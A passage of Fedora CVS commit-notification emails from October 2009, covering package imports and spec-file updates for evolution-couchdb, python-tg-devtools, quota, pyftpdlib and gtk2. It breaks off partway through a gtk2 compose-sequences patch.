kevin has set build to Approved for 107427 on evolution-couchdb (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/evolution-couchdb



From kevin at fedoraproject.org  Thu Oct 22 04:49:57 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:49:57 +0000 (UTC)
Subject: rpms/evolution-couchdb - New directory
Message-ID: <20091022044957.13E8011C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/evolution-couchdb
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsCR2877/rpms/evolution-couchdb

Log Message:
Directory /cvs/pkgs/rpms/evolution-couchdb added to the repository




From kevin at fedoraproject.org  Thu Oct 22 04:49:57 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:49:57 +0000 (UTC)
Subject: rpms/evolution-couchdb/devel - New directory
Message-ID: <20091022044957.3348811C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/evolution-couchdb/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsCR2877/rpms/evolution-couchdb/devel

Log Message:
Directory /cvs/pkgs/rpms/evolution-couchdb/devel added to the repository




From kevin at fedoraproject.org  Thu Oct 22 04:50:03 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:50:03 +0000 (UTC)
Subject: rpms/evolution-couchdb Makefile,NONE,1.1
Message-ID: <20091022045003.E795411C02A0@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/evolution-couchdb
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsCR2877/rpms/evolution-couchdb

Added Files:
	Makefile 
Log Message:
Setup of module evolution-couchdb


--- NEW FILE Makefile ---
# Top level Makefile for module evolution-couchdb
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct 22 04:50:04 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:50:04 +0000 (UTC)
Subject: rpms/evolution-couchdb/devel .cvsignore, NONE, 1.1 Makefile, NONE, 
	1.1 sources, NONE, 1.1
Message-ID: <20091022045004.2323411C04B6@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/evolution-couchdb/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsCR2877/rpms/evolution-couchdb/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module evolution-couchdb


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: evolution-couchdb
# $Id: Makefile,v 1.1 2009/10/22 04:50:04 kevin Exp $
NAME := evolution-couchdb
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From tibbs at fedoraproject.org  Thu Oct 22 06:02:37 2009
From: tibbs at fedoraproject.org (=?utf-8?b?SmFzb24g44OG44Kj44OT44OE?=)
Date: Thu, 22 Oct 2009 06:02:37 +0000 (UTC)
Subject: status-report-scripts pyGetReviewByFlags,1.20,NONE
Message-ID: <20091022060237.DECD911C008C@cvs1.fedora.phx.redhat.com>

Author: tibbs

Update of /cvs/fedora/status-report-scripts
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25032

Removed Files:
	pyGetReviewByFlags 
Log Message:
Remove the old and terribly-named pyGetReviewByFlags script.



--- pyGetReviewByFlags DELETED ---



From lmacken at fedoraproject.org  Thu Oct 22 06:10:04 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Thu, 22 Oct 2009 06:10:04 +0000 (UTC)
Subject: rpms/python-tg-devtools/devel python-tg-devtools.spec, 1.2,
	1.3 python-tg-devtools-sa05.patch, 1.1, NONE
Message-ID: <20091022061004.68F3911C02A2@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-tg-devtools/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29360

Modified Files:
	python-tg-devtools.spec 
Removed Files:
	python-tg-devtools-sa05.patch 
Log Message:
Remove sa05 patch, since SQLAlchemy 0.5 is now in Fedora 11+


Index: python-tg-devtools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-tg-devtools/devel/python-tg-devtools.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- python-tg-devtools.spec	1 Oct 2009 14:44:15 -0000	1.2
+++ python-tg-devtools.spec	22 Oct 2009 06:10:04 -0000	1.3
@@ -3,7 +3,7 @@
 
 Name:           python-tg-devtools
 Version:        2.0.2
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        Development tools and templates for TurboGears2
 
 Group:          Development/Languages
@@ -11,7 +11,6 @@ License:        MIT
 URL:            http://www.turbogears.org
 Source0:        http://www.turbogears.org/2.0/downloads/current/tg.devtools-%{version}.tar.gz
 Patch0:         %{name}-test_admin.patch
-Patch1:         %{name}-sa05.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
 
@@ -57,7 +56,6 @@ TurboGears2 development.
 %prep
 %setup -q -n tg.devtools-%{version}
 %patch0 -p0 -b .test_admin
-%patch1 -p0 -b .sqlalchemy
 
 
 %build
@@ -87,6 +85,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Wed Oct 21 2009 Luke Macken <lmacken at redhat.com> - 2.0.2-4
+- Remove sa05 patch, since SQLAlchemy 0.5 is now in Fedora 11+
+
 * Thu Oct 01 2009 Luke Macken <lmacken at redhat.com> - 2.0.2-3
 - Apply patch from #468804 to fix version requirements
 


--- python-tg-devtools-sa05.patch DELETED ---



From ovasik at fedoraproject.org  Thu Oct 22 06:16:27 2009
From: ovasik at fedoraproject.org (Ondrej Vasik)
Date: Thu, 22 Oct 2009 06:16:27 +0000 (UTC)
Subject: rpms/quota/F-11 quota.spec,1.54,1.55
Message-ID: <20091022061628.08E3011C008C@cvs1.fedora.phx.redhat.com>

Author: ovasik

Update of /cvs/extras/rpms/quota/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31167

Modified Files:
	quota.spec 
Log Message:
added accidently forgotten patch to fix #524138


Index: quota.spec
===================================================================
RCS file: /cvs/extras/rpms/quota/F-11/quota.spec,v
retrieving revision 1.54
retrieving revision 1.55
diff -u -p -r1.54 -r1.55
--- quota.spec	20 Oct 2009 11:17:41 -0000	1.54
+++ quota.spec	22 Oct 2009 06:16:25 -0000	1.55
@@ -5,7 +5,7 @@ Name: quota
 Summary: System administration tools for monitoring users' disk usage
 Epoch: 1
 Version: 3.17
-Release: 5%{?dist}
+Release: 6%{?dist}
 License: BSD and GPLv2+
 URL: http://sourceforge.net/projects/linuxquota/
 Group: System Environment/Base
@@ -22,6 +22,7 @@ Patch3: quota-3.06-pie.patch
 Patch4: quota-3.13-wrong-ports.patch
 Patch5: quota-3.16-helpoption.patch
 Patch6: quota-3.16-quotaoffhelp.patch
+Patch7: quota-3.17-quotactlmanpage.patch
 
 %description
 The quota package contains system administration tools for monitoring
@@ -51,6 +52,7 @@ on remote machines.
 %patch4 -p1
 %patch5 -p1
 %patch6 -p1 -b .usage
+%patch7 -p1 -b .quotawarn
 
 #fix typos/mistakes in localized documentation
 for pofile in $(find ./po/*.p*)
@@ -112,6 +114,9 @@ rm -rf %{buildroot}
 %attr(0644,root,root) %{_mandir}/man3/*
 
 %changelog
+* Thu Oct 22 2009 Ondrej Vasik <ovasik at redhat.com> 1:3.17-6
+- added accidently forgotten patch to fix #524138
+
 * Tue Oct 20 2009 Ondrej Vasik <ovasik at redhat.com> 1:3.17-5
 - symlink manpage for rpc.rquotad
 - fix headers and structs in quotactl manpage(#524138)



From lmacken at fedoraproject.org  Thu Oct 22 06:16:42 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Thu, 22 Oct 2009 06:16:42 +0000 (UTC)
Subject: rpms/python-tg-devtools/F-12 import.log, NONE,
	1.1 python-tg-devtools.spec, 1.1,
	1.2 python-tg-devtools-sa05.patch, 1.1, NONE
Message-ID: <20091022061642.75AFC11C008C@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-tg-devtools/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31378/F-12

Modified Files:
	python-tg-devtools.spec 
Added Files:
	import.log 
Removed Files:
	python-tg-devtools-sa05.patch 
Log Message:
Remove sa05 patch since SQLAlchemy 0.5 is now in Fedora 11+


--- NEW FILE import.log ---
python-tg-devtools-2_0_2-4_fc13:F-12:python-tg-devtools-2.0.2-4.fc13.src.rpm:1256177371


Index: python-tg-devtools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-tg-devtools/F-12/python-tg-devtools.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- python-tg-devtools.spec	2 Oct 2009 09:45:40 -0000	1.1
+++ python-tg-devtools.spec	22 Oct 2009 06:16:42 -0000	1.2
@@ -3,7 +3,7 @@
 
 Name:           python-tg-devtools
 Version:        2.0.2
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        Development tools and templates for TurboGears2
 
 Group:          Development/Languages
@@ -11,7 +11,6 @@ License:        MIT
 URL:            http://www.turbogears.org
 Source0:        http://www.turbogears.org/2.0/downloads/current/tg.devtools-%{version}.tar.gz
 Patch0:         %{name}-test_admin.patch
-Patch1:         %{name}-sa05.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
 
@@ -57,7 +56,6 @@ TurboGears2 development.
 %prep
 %setup -q -n tg.devtools-%{version}
 %patch0 -p0 -b .test_admin
-%patch1 -p0 -b .sqlalchemy
 
 
 %build
@@ -87,6 +85,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Wed Oct 21 2009 Luke Macken <lmacken at redhat.com> - 2.0.2-4
+- Remove sa05 patch, since SQLAlchemy 0.5 is now in Fedora 11+
+
 * Thu Oct 01 2009 Luke Macken <lmacken at redhat.com> - 2.0.2-3
 - Apply patch from #468804 to fix version requirements
 


--- python-tg-devtools-sa05.patch DELETED ---



From lmacken at fedoraproject.org  Thu Oct 22 06:17:33 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Thu, 22 Oct 2009 06:17:33 +0000 (UTC)
Subject: rpms/python-tg-devtools/F-11 import.log, NONE,
	1.1 python-tg-devtools.spec, 1.1,
	1.2 python-tg-devtools-sa05.patch, 1.1, NONE
Message-ID: <20091022061733.8C2F011C008C@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-tg-devtools/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31854/F-11

Modified Files:
	python-tg-devtools.spec 
Added Files:
	import.log 
Removed Files:
	python-tg-devtools-sa05.patch 
Log Message:
Remove sa05 patch since SQLAlchemy 0.5 is now in Fedora 11+


--- NEW FILE import.log ---
python-tg-devtools-2_0_2-4_fc13:F-11:python-tg-devtools-2.0.2-4.fc13.src.rpm:1256177433


Index: python-tg-devtools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-tg-devtools/F-11/python-tg-devtools.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- python-tg-devtools.spec	2 Oct 2009 09:46:28 -0000	1.1
+++ python-tg-devtools.spec	22 Oct 2009 06:17:33 -0000	1.2
@@ -3,7 +3,7 @@
 
 Name:           python-tg-devtools
 Version:        2.0.2
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        Development tools and templates for TurboGears2
 
 Group:          Development/Languages
@@ -11,7 +11,6 @@ License:        MIT
 URL:            http://www.turbogears.org
 Source0:        http://www.turbogears.org/2.0/downloads/current/tg.devtools-%{version}.tar.gz
 Patch0:         %{name}-test_admin.patch
-Patch1:         %{name}-sa05.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
 
@@ -57,7 +56,6 @@ TurboGears2 development.
 %prep
 %setup -q -n tg.devtools-%{version}
 %patch0 -p0 -b .test_admin
-%patch1 -p0 -b .sqlalchemy
 
 
 %build
@@ -87,6 +85,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Wed Oct 21 2009 Luke Macken <lmacken at redhat.com> - 2.0.2-4
+- Remove sa05 patch, since SQLAlchemy 0.5 is now in Fedora 11+
+
 * Thu Oct 01 2009 Luke Macken <lmacken at redhat.com> - 2.0.2-3
 - Apply patch from #468804 to fix version requirements
 


--- python-tg-devtools-sa05.patch DELETED ---



From silas at fedoraproject.org  Thu Oct 22 06:35:29 2009
From: silas at fedoraproject.org (Silas Sewell)
Date: Thu, 22 Oct 2009 06:35:29 +0000 (UTC)
Subject: rpms/pyftpdlib/devel .cvsignore, 1.2, 1.3 import.log, 1.1,
	1.2 pyftpdlib.spec, 1.2, 1.3 sources, 1.2, 1.3
Message-ID: <20091022063529.83B0611C008C@cvs1.fedora.phx.redhat.com>

Author: silas

Update of /cvs/pkgs/rpms/pyftpdlib/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6047/devel

Modified Files:
	.cvsignore import.log pyftpdlib.spec sources 
Log Message:
* Wed Oct 21 2009 Silas Sewell <silas at sewell.ch> - 0.5.2-1
- Update to 0.5.2



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pyftpdlib/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	31 Mar 2009 07:06:12 -0000	1.2
+++ .cvsignore	22 Oct 2009 06:35:26 -0000	1.3
@@ -1 +1 @@
-pyftpdlib-0.5.1.tar.gz
+pyftpdlib-0.5.2.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/pyftpdlib/devel/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	31 Mar 2009 07:06:12 -0000	1.1
+++ import.log	22 Oct 2009 06:35:26 -0000	1.2
@@ -1 +1,2 @@
 pyftpdlib-0_5_1-4_fc10:HEAD:pyftpdlib-0.5.1-4.fc10.src.rpm:1238458204
+pyftpdlib-0_5_2-1_fc12:HEAD:pyftpdlib-0.5.2-1.fc12.src.rpm:1256192584


Index: pyftpdlib.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pyftpdlib/devel/pyftpdlib.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- pyftpdlib.spec	26 Jul 2009 19:49:32 -0000	1.2
+++ pyftpdlib.spec	22 Oct 2009 06:35:27 -0000	1.3
@@ -1,13 +1,13 @@
 %{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           pyftpdlib
-Version:        0.5.1
-Release:        5%{?dist}
+Version:        0.5.2
+Release:        1%{?dist}
 Summary:        Python FTP server library
 
 Group:          Development/Languages
 License:        MIT
-URL:            http://code.google.com/p/pyftpdlib/
+URL:            http://code.google.com/p/pyftpdlib
 Source0:        http://pyftpdlib.googlecode.com/files/%{name}-%{version}.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -23,40 +23,47 @@ available for Python programming languag
 
 %prep
 %setup -q
+# Fix spurious-executable-perm warning
 find CREDITS HISTORY LICENSE README demo/ doc/ test/ -type f -exec chmod 0644 {} \;
-sed -i 's/\r//' CREDITS HISTORY LICENSE README demo/* doc/* test/*
+# Fix wrong-script-end-of-line-encoding warning
+sed -i 's/\r//' CREDITS HISTORY LICENSE README demo/* doc/* test/* pyftpdlib/ftpserver.py
 
 %build
 %{__python} setup.py build
 
 %install
-rm -rf $RPM_BUILD_ROOT
-%{__python} setup.py install -O1 --skip-build --root $RPM_BUILD_ROOT
-chmod 0755 $RPM_BUILD_ROOT%{python_sitelib}/%{name}/ftpserver.py
+rm -rf %{buildroot}
+%{__python} setup.py install -O1 --skip-build --root %{buildroot}
+# Fix non-executable-script error
+chmod 0755 %{buildroot}%{python_sitelib}/%{name}/ftpserver.py
 
 %clean
-rm -rf $RPM_BUILD_ROOT
+rm -rf %{buildroot}
 
 %files
 %defattr(-,root,root,-)
-%{python_sitelib}/*
 %doc CREDITS HISTORY LICENSE README demo/ doc/ test/
+%{python_sitelib}/pyftpdlib
+%{python_sitelib}/pyftpdlib-%{version}-*.egg-info
 
 %changelog
+* Wed Oct 21 2009 Silas Sewell <silas at sewell.ch> - 0.5.2-1
+- Update to 0.5.2
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.5.1-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 
-* Sat Mar 28 2009 Silas Sewell <silas at sewell ch> - 0.5.1-4
+* Sat Mar 28 2009 Silas Sewell <silas at sewell.ch> - 0.5.1-4
 - Fix various issues reported by rpmlint
 - Remove INSTALL file
 
-* Thu Mar 26 2009 Silas Sewell <silas at sewell ch> - 0.5.1-3
+* Thu Mar 26 2009 Silas Sewell <silas at sewell.ch> - 0.5.1-3
 - Update package name to conform to Fedora naming standards
-- Removed unneeded requires
+- Remove unneeded requires
 - Change define to global
 
-* Thu Mar 12 2009 Silas Sewell <silas at sewell ch> - 0.5.1-2
+* Thu Mar 12 2009 Silas Sewell <silas at sewell.ch> - 0.5.1-2
 - Fix various rpmlint issues
 
-* Tue Feb 24 2009 Silas Sewell <silas at sewell ch> - 0.5.1-1
+* Tue Feb 24 2009 Silas Sewell <silas at sewell.ch> - 0.5.1-1
 - Initial build


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pyftpdlib/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	31 Mar 2009 07:06:12 -0000	1.2
+++ sources	22 Oct 2009 06:35:27 -0000	1.3
@@ -1 +1 @@
-f64ac67ebec1d8ab47c0766082617384  pyftpdlib-0.5.1.tar.gz
+7da8e0e4abb13c6c30714ef53bd57226  pyftpdlib-0.5.2.tar.gz



From pbrobinson at fedoraproject.org  Thu Oct 22 06:41:11 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Thu, 22 Oct 2009 06:41:11 +0000 (UTC)
Subject: rpms/evolution-couchdb/devel evolution-couchdb.spec, NONE,
	1.1 import.log, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091022064111.5769511C02A2@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/evolution-couchdb/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8123/devel

Modified Files:
	.cvsignore sources 
Added Files:
	evolution-couchdb.spec import.log 
Log Message:
- Initial import



--- NEW FILE evolution-couchdb.spec ---
Name:           evolution-couchdb
Version:        0.3.2
Release:        2%{?dist}
Summary:        An evolution backend to CouchDBs for PIM information

Group:          System Environment/Libraries
License:        GPLv3+
URL:            http://www.gnome.org/
Source0:        ftp://ftp.gnome.org/pub/gnome/sources/%{name}/0.3/%{name}-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires: couchdb-glib-devel
BuildRequires: dbus-glib-devel
BuildRequires: gnome-keyring-devel
BuildRequires: evolution-devel
BuildRequires: evolution-data-server-devel
BuildRequires: gettext
BuildRequires: intltool

%description
CouchDB-GLib is a GLib-based API to access CouchDB servers
(http://couchdb.apache.org), a replication/synchronization 
schema-free database of JSON documents, used in online services 
like Midgard.

This is a plugin to evolution to allow access to PIM information
stored in a CouchDB.

%prep
%setup -q

%build
%configure --disable-static
make %{?_smp_mflags} V=1

%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot} INSTALL='install -p'

#Remove libtool archives.
find %{buildroot} -name '*.la' -exec rm -f {} ';'

#Convert NEWS file to utf8
for file in NEWS; do
    iconv -f ISO-8859-1 -t UTF-8 -o $file.new $file && \
    touch -r $file $file.new && \
    mv $file.new $file
done

%find_lang %{name}

%clean
rm -rf %{buildroot}

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f %{name}.lang
%defattr(-,root,root,-)
%doc COPYING NEWS
%{_libdir}/evolution-data-server-1.2/extensions/libebookbackendcouchdb.so
%{_libdir}/evolution/2.28/plugins/liborg-gnome-evolution-couchdb.so
%{_libdir}/evolution/2.28/plugins/org-gnome-evolution-couchdb.eplug

%changelog
* Wed Oct 21 2009 Peter Robinson <pbrobinson at gmail.com> 0.3.2-2
- Updates from review request

* Tue Oct 13 2009 Peter Robinson <pbrobinson at gmail.com> 0.3.2-1
- Update to 0.3.2 upstream release

* Wed Oct  7 2009 Peter Robinson <pbrobinson at gmail.com> 0.3.1-1
- Update to 0.3.1 upstream release

* Mon Oct  5 2009 Peter Robinson <pbrobinson at gmail.com> 0.3.0-1
- Initial packaging


--- NEW FILE import.log ---
evolution-couchdb-0_3_2-2_fc12:HEAD:evolution-couchdb-0.3.2-2.fc12.src.rpm:1256193606


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/evolution-couchdb/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:50:04 -0000	1.1
+++ .cvsignore	22 Oct 2009 06:41:10 -0000	1.2
@@ -0,0 +1 @@
+evolution-couchdb-0.3.2.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/evolution-couchdb/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:50:04 -0000	1.1
+++ sources	22 Oct 2009 06:41:11 -0000	1.2
@@ -0,0 +1 @@
+150ed591c120cc035b48b0ccea45fc10  evolution-couchdb-0.3.2.tar.bz2



From pbrobinson at fedoraproject.org  Thu Oct 22 06:42:40 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Thu, 22 Oct 2009 06:42:40 +0000 (UTC)
Subject: rpms/evolution-couchdb/devel import.log,1.1,NONE
Message-ID: <20091022064240.AB11411C008C@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/evolution-couchdb/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9399

Removed Files:
	import.log 
Log Message:
- remove import.log


--- import.log DELETED ---



From pbrobinson at fedoraproject.org  Thu Oct 22 06:43:33 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Thu, 22 Oct 2009 06:43:33 +0000 (UTC)
Subject: rpms/evolution-couchdb/F-12 evolution-couchdb.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091022064333.4751811C008C@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/evolution-couchdb/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9787

Modified Files:
	.cvsignore sources 
Added Files:
	evolution-couchdb.spec 
Log Message:
- initial import


--- NEW FILE evolution-couchdb.spec ---
Name:           evolution-couchdb
Version:        0.3.2
Release:        2%{?dist}
Summary:        An evolution backend to CouchDBs for PIM information

Group:          System Environment/Libraries
License:        GPLv3+
URL:            http://www.gnome.org/
Source0:        ftp://ftp.gnome.org/pub/gnome/sources/%{name}/0.3/%{name}-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires: couchdb-glib-devel
BuildRequires: dbus-glib-devel
BuildRequires: gnome-keyring-devel
BuildRequires: evolution-devel
BuildRequires: evolution-data-server-devel
BuildRequires: gettext
BuildRequires: intltool

%description
CouchDB-GLib is a GLib-based API to access CouchDB servers
(http://couchdb.apache.org), a replication/synchronization 
schema-free database of JSON documents, used in online services 
like Midgard.

This is a plugin to evolution to allow access to PIM information
stored in a CouchDB.

%prep
%setup -q

%build
%configure --disable-static
make %{?_smp_mflags} V=1

%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot} INSTALL='install -p'

#Remove libtool archives.
find %{buildroot} -name '*.la' -exec rm -f {} ';'

#Convert NEWS file to utf8
for file in NEWS; do
    iconv -f ISO-8859-1 -t UTF-8 -o $file.new $file && \
    touch -r $file $file.new && \
    mv $file.new $file
done

%find_lang %{name}

%clean
rm -rf %{buildroot}

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f %{name}.lang
%defattr(-,root,root,-)
%doc COPYING NEWS
%{_libdir}/evolution-data-server-1.2/extensions/libebookbackendcouchdb.so
%{_libdir}/evolution/2.28/plugins/liborg-gnome-evolution-couchdb.so
%{_libdir}/evolution/2.28/plugins/org-gnome-evolution-couchdb.eplug

%changelog
* Wed Oct 21 2009 Peter Robinson <pbrobinson at gmail.com> 0.3.2-2
- Updates from review request

* Tue Oct 13 2009 Peter Robinson <pbrobinson at gmail.com> 0.3.2-1
- Update to 0.3.2 upstream release

* Wed Oct  7 2009 Peter Robinson <pbrobinson at gmail.com> 0.3.1-1
- Update to 0.3.1 upstream release

* Mon Oct  5 2009 Peter Robinson <pbrobinson at gmail.com> 0.3.0-1
- Initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/evolution-couchdb/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:50:04 -0000	1.1
+++ .cvsignore	22 Oct 2009 06:43:32 -0000	1.2
@@ -0,0 +1 @@
+evolution-couchdb-0.3.2.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/evolution-couchdb/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:50:04 -0000	1.1
+++ sources	22 Oct 2009 06:43:33 -0000	1.2
@@ -0,0 +1 @@
+150ed591c120cc035b48b0ccea45fc10  evolution-couchdb-0.3.2.tar.bz2



From whot at fedoraproject.org  Thu Oct 22 06:43:47 2009
From: whot at fedoraproject.org (Peter Hutterer)
Date: Thu, 22 Oct 2009 06:43:47 +0000 (UTC)
Subject: rpms/gtk2/F-12 compose-sequences.patch, NONE, 1.1 gtk2.spec, 1.419, 
	1.420
Message-ID: <20091022064347.E385211C008C@cvs1.fedora.phx.redhat.com>

Author: whot

Update of /cvs/pkgs/rpms/gtk2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9911

Modified Files:
	gtk2.spec 
Added Files:
	compose-sequences.patch 
Log Message:
* Thu Oct 22 2009 Peter Hutterer <peter.hutterer at redhat.com> - 2.18.3-8
- compose-sequences.patch: update compose sequences to what's currently in
  libX11 git.


compose-sequences.patch:
 gtkimcontextsimple.c     |    2 -
 gtkimcontextsimpleseqs.h |   92 ++++++++++++++++++++++++++++++-----------------
 2 files changed, 61 insertions(+), 33 deletions(-)

--- NEW FILE compose-sequences.patch ---
>From 4eb82ed9624da58cff9dd6c348b12d35967ae3c3 Mon Sep 17 00:00:00 2001
From: Peter Hutterer <peter.hutterer at who-t.net>
Date: Thu, 22 Oct 2009 15:25:19 +1000
Subject: [PATCH] Update compose sequences

Signed-off-by: Peter Hutterer <peter.hutterer at who-t.net>
---
 gtk/gtkimcontextsimple.c     |    2 +-
 gtk/gtkimcontextsimpleseqs.h |   91 +++++++++++++++++++++++++++--------------
 2 files changed, 61 insertions(+), 32 deletions(-)

diff --git a/gtk/gtkimcontextsimple.c b/gtk/gtkimcontextsimple.c
index 62bab7c..f36dcf5 100644
--- a/gtk/gtkimcontextsimple.c
+++ b/gtk/gtkimcontextsimple.c
@@ -61,7 +61,7 @@ struct _GtkComposeTableCompact
 static const GtkComposeTableCompact gtk_compose_table_compact = {
   gtk_compose_seqs_compact,
   5,
-  23,
+  24,
   6
 };
 
diff --git a/gtk/gtkimcontextsimpleseqs.h b/gtk/gtkimcontextsimpleseqs.h
index 9e3fc29..131b3db 100644
--- a/gtk/gtkimcontextsimpleseqs.h
+++ b/gtk/gtkimcontextsimpleseqs.h
@@ -18,10 +18,9 @@
  */
 
 /*
- * File auto-generated from script found at gtk/compose-parse.py, with the --gtk parameter,
+ * File auto-generated from script found at http://bugzilla.gnome.org/show_bug.cgi?id=321896
  * using the input files
  *  Input   : http://gitweb.freedesktop.org/?p=xorg/lib/libX11.git;a=blob_plain;f=nls/en_US.UTF-8/Compose.pre
- *  Input   : http://svn.gnome.org/viewcvs/gtk%2B/trunk/gtk/gtk-compose-lookaside.txt
  *  Input   : http://www.cl.cam.ac.uk/~mgk25/ucs/keysyms.txt
